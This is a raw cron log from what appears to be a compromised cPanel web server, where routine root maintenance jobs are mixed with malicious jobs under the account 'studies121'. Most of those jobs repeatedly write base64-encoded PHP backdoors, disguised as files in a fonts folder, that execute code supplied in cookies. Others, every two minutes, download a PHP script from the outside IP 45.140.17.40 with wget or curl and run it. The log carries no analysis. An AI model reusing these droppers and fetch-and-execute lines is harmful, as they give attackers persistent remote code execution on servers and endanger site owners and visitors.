Sep  2 17:29:01 ip-184-168-122-23 CROND[19941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:29:01 ip-184-168-122-23 CROND[19945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:29:01 ip-184-168-122-23 CROND[19948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:29:01 ip-184-168-122-23 CROND[19947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:30:01 ip-184-168-122-23 CROND[20156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:30:01 ip-184-168-122-23 CROND[20157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:30:01 ip-184-168-122-23 CROND[20163]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:30:01 ip-184-168-122-23 CROND[20165]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:30:01 ip-184-168-122-23 CROND[20166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:30:01 ip-184-168-122-23 CROND[20167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:30:01 ip-184-168-122-23 CROND[20162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:30:01 ip-184-168-122-23 CROND[20164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:31:01 ip-184-168-122-23 CROND[20257]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:31:01 ip-184-168-122-23 CROND[20260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:31:01 ip-184-168-122-23 CROND[20259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:31:01 ip-184-168-122-23 CROND[20262]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 17:31:01 ip-184-168-122-23 CROND[20261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:32:01 ip-184-168-122-23 CROND[20349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:32:01 ip-184-168-122-23 CROND[20351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:32:01 ip-184-168-122-23 CROND[20354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:32:01 ip-184-168-122-23 CROND[20353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:32:01 ip-184-168-122-23 CROND[20355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:33:01 ip-184-168-122-23 CROND[20434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:33:01 ip-184-168-122-23 CROND[20435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:33:01 ip-184-168-122-23 CROND[20436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:33:01 ip-184-168-122-23 CROND[20437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:34:01 ip-184-168-122-23 CROND[20513]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:34:01 ip-184-168-122-23 CROND[20515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:34:01 ip-184-168-122-23 CROND[20517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:34:01 ip-184-168-122-23 CROND[20520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:34:01 ip-184-168-122-23 CROND[20522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:35:02 ip-184-168-122-23 CROND[20704]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 17:35:02 ip-184-168-122-23 CROND[20710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:35:02 ip-184-168-122-23 CROND[20708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:35:02 ip-184-168-122-23 CROND[20712]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 17:35:02 ip-184-168-122-23 CROND[20709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:35:02 ip-184-168-122-23 CROND[20713]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:35:02 ip-184-168-122-23 CROND[20714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:35:02 ip-184-168-122-23 CROND[20711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:36:01 ip-184-168-122-23 CROND[20824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:36:01 ip-184-168-122-23 CROND[20826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:36:01 ip-184-168-122-23 CROND[20827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:36:01 ip-184-168-122-23 CROND[20828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:36:01 ip-184-168-122-23 CROND[20829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:37:01 ip-184-168-122-23 CROND[20938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:37:01 ip-184-168-122-23 CROND[20940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:37:01 ip-184-168-122-23 CROND[20941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:37:01 ip-184-168-122-23 CROND[20943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:38:01 ip-184-168-122-23 CROND[21022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:38:01 ip-184-168-122-23 CROND[21024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:38:01 ip-184-168-122-23 CROND[21026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:38:01 ip-184-168-122-23 CROND[21028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:38:01 ip-184-168-122-23 CROND[21029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:39:01 ip-184-168-122-23 CROND[21111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 17:39:01 ip-184-168-122-23 CROND[21113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:39:01 ip-184-168-122-23 CROND[21115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:39:01 ip-184-168-122-23 CROND[21116]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 17:39:01 ip-184-168-122-23 CROND[21114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:40:01 ip-184-168-122-23 CROND[21295]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:40:01 ip-184-168-122-23 CROND[21298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:40:01 ip-184-168-122-23 CROND[21301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:40:01 ip-184-168-122-23 CROND[21300]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:40:01 ip-184-168-122-23 CROND[21303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 17:40:01 ip-184-168-122-23 CROND[21305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:40:01 ip-184-168-122-23 CROND[21302]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 17:40:01 ip-184-168-122-23 CROND[21306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
